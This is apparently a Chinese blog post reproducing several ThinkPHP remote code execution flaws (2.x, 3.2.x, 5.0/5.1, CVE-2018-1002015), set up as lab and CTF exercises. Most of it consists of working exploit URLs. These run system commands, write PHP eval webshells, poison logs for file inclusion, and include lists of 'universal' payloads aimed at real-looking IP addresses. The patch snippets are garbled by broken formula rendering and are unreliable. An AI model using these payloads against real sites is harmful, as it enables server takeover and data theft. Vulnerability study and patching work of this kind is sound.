thinkphp漏洞复现

所有文章,仅供安全研究与学习之用,后果自负!


前言

Tp漏洞复现


提示:以下是本篇文章正文内容,下面案例可供参考

一、thinkphp-2x-rce 代码执行

0x01 漏洞描述

描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

0x02 影响版本

影响Thinkphp 2.x的版本

0x03 漏洞利用

(1)访问主页为
在这里插入图片描述
(2)
payload 输入以下
/index.php?s=/index/index/xxx/ @ p h p i n f o ( ) / / p h p i n f o 敏 感 文 件 / i n d e x . p h p ? s = a / b / c / {@phpinfo()} //phpinfo敏感文件 /index.php?s=a/b/c/ @phpinfo()//phpinfo/index.php?s=a/b/c/{@print(eval($_POST[1]))} //此为一句话连菜刀
在这里插入图片描述
webshell 直接连接即可

在这里插入图片描述
在这里插入图片描述

0x04 漏洞修复

修复方案
将Dispatcher.class.php文件中的代码

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’. d e p r . ′ / ] + ) @ e ′ , ′ depr.'/]+)@e', ' depr./]+)@e,var[‘1’]=“2”;’, implode( d e p r , depr, depr,paths));
修改为

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’. d e p r . ′ / ] + ) @ e ′ , ′ depr.'/]+)@e', ' depr./]+)@e,var[‘1’]="2’;’, implode( d e p r , depr, depr,paths));

二、thinkphp 代码执行 (CNVD-2018-24942)

0x01 漏洞描述

描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击

0x02 影响范围

ThinkPHP 5.0.全版本
版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug

0x03 漏洞利用

(1)访问主页
在这里插入图片描述
在这里插入图片描述

(2)
远程代码执行
http://118.193.36.37:54506
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
在这里插入图片描述
(3)
上传一句话木马
http://118.193.36.37:54506
/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[1])?%3E
访问
http://118.193.36.37:54506/shell.php
在这里插入图片描述
蚁剑连接一句话木马
在这里插入图片描述

这就完成了,这边我们引用下大佬的poc

两个通杀payload

版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本号:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

exp0 = ‘/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’

exp1 = ‘/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>’

exp2 = ‘/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘<?php @eval($_POST[xxxxxx]);?>’>zxc2.php’

pay

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

写shell:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘<?php @eval($_POST[xxxxxx]);?>’>zxc2.php’

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

原文链接
https://www.cnblogs.com/miansj/p/14639276.html

0x04 漏洞修复

https://blog.thinkphp.cn/869075

三、 thinkphp3.2.x 代码执行

0x01漏洞描述

描述: ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。 该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

0x02影响范围

0x03漏洞利用

(1)访问看版本号
在这里插入图片描述
(2)

payload

/index.php?m=--><?=phpinfo();?>
/index.php?m=--><?=system('ls /tmp');?>
/index.php?m=--><?=system('cat$IFS$9`ls` ');?>
/index.php?m=--><?=system('ls$IFS$9/');?>
/index.php?m=--><?=system('cat$IFS$9/flag');?>
#上面先传入log文件,下面文件包含。
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_10_25.log

抓包写入log文件 (浏览器写入不成功)
http://118.193.36.37:36664/index.php?m=–><?=phpinfo();?>
在这里插入图片描述

文件包含访问 日志文件
http://118.193.36.37:57897/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_10_25.log

在这里插入图片描述
flag-{bmh1858f335-8771-47ba-977e-91f741949934}
参考
https://blog.csdn.net/weixin_46203060/article/details/119532553?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-5.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-5.no_search_link

0x04漏洞修复

四、thinkphp 命令执行 (CVE-2018-1002015)

0x01漏洞描述

描述: ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。 ThinkPHP 5.0.x版本和5.1.x版本中存在远程代码执行漏洞,该漏洞源于ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤。远程攻击者可通过输入‘\’字符的方式调用任意方法利用该漏洞执行代码。

0x02影响范围

5.x < 5.1.31, <= 5.0.23

0x03漏洞利用

(1)爆版本
在这里插入图片描述
(2)利用system函数远程命令执行:
whoami

http://118.193.36.37:54655/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

ls /tmp

http://118.193.36.37:54655/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

在这里插入图片描述

phpinfo()

http://118.193.36.37:54655/index.php?/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述

4.写入shlel

http://118.193.36.37:54655/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

生成shell.php
连接
http://118.193.36.37:54655/shell.php

参考
https://www.cnblogs.com/yuzly/p/11460285.html

0x04漏洞修复

用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2";’, implode( d e p r , depr, depr,paths));

修改为:

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2’;’, implode( d e p r , depr, depr,paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值